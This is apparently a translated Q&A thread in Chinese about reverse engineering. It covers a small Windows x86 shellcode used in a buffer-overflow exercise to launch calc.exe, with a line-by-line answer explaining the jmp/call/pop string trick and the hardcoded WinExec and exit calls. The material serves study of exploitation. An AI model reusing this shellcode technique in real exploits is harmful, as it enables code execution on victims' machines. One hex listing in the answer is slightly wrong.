无法理解我的shellcode如何工作.用于Windows操作系统的Shellcode(不是Linux!)来打开calc.exe

Ann*_*dyo -1 windows x86 assembly exploit shellcode

我有一个shellcode.它在我的缓冲区溢出程序中打开计算器.

0:  eb 16                   jmp    0x18
2:  5b                      pop    ebx
3:  31 c0                   xor    eax,eax
5:  50                      push   eax
6:  53                      push   ebx
7:  bb 4d 11 86 7c          mov    ebx,0x7c86114d
c:  ff d3                   call   ebx
e:  31 c0                   xor    eax,eax
10: 50                      push   eax
11: bb ea cd 81 7c          mov    ebx,0x7c81cdea
16: ff d3                   call   ebx
18: e8 e5 ff ff ff          call   0x2
1d: 63 61 6c                arpl   WORD PTR [ecx+0x6c],sp
20: 63 2e                   arpl   WORD PTR [esi],bp
22: 65 78 65                gs js  0x8a
25: 00 90 90 90 90 90       add    BYTE PTR [eax-0x6f6f6f70],dl
2b: 90                      nop
2c: 90                      nop
2d: 90                      nop
2e: 90                      nop
2f: 90                      nop
Run Code Online (Sandbox Code Playgroud)

除了主要问题是"这个shellcode一行一行",我特别感兴趣:

  1. jmp操作,为什么以及我的程序跳转到哪里?
  2. arpl的东西,我第一次看到它,谷歌对我帮助不大......与GS操作相同

eya*_*tki 6

jmp 0x18是一个相对跳转到偏移量0x18,这实际上是代码的结尾.然后它调用地址0x2(再次,相对).此调用将"返回地址"放在堆栈上,因此可以从中弹出它,为您提供有关正在执行此相对shellcode的地址的线索.实际上,pop ebx偏移量0x2是从堆栈中获取地址.

我说0x18是代码的结尾,因为它之后的行是数据字节而不是asm操作码.这就是你看到的原因arpl.如果查看字节的十六进制值,您将看到:

calc.exe\0 ==> 0x63 0x61 0x63 0x6c 0x2e 0x65 0x78 0x65 0x00
Run Code Online (Sandbox Code Playgroud)

编辑:

shellcode的完整流程是:

  1. jmp 0x18 - 跳转到shellcode的最后一条代码指令
  2. call 0x2 - 返回偏移量2,并将偏移量0x1D的地址存储在堆栈中
  3. pop ebx - ebx:=堆栈中的地址,这是字符串"calc.exe"的地址
  4. xor eax,eax - 将寄存器归零的通用操作码:eax:= 0
  5. push eax - 将值0作为未来函数调用的第二个参数
  6. push ebx - 将指针"calc.exe"作为未来函数调用的第一个参数
  7. mov ebx,0x7c86114d - ebx将是固定地址(可能是WinExec)
  8. call ebx - 调用函数:WinExec("calc.exe",0)
  9. xor eax,eax - 再次,eax:= 0
  10. push eax - 将值0作为未来函数调用的第一个参数
  11. mov ebx,0x7c81cdea - ebx将是固定地址(可能是退出)
  12. call ebx - 调用函数:exit(0)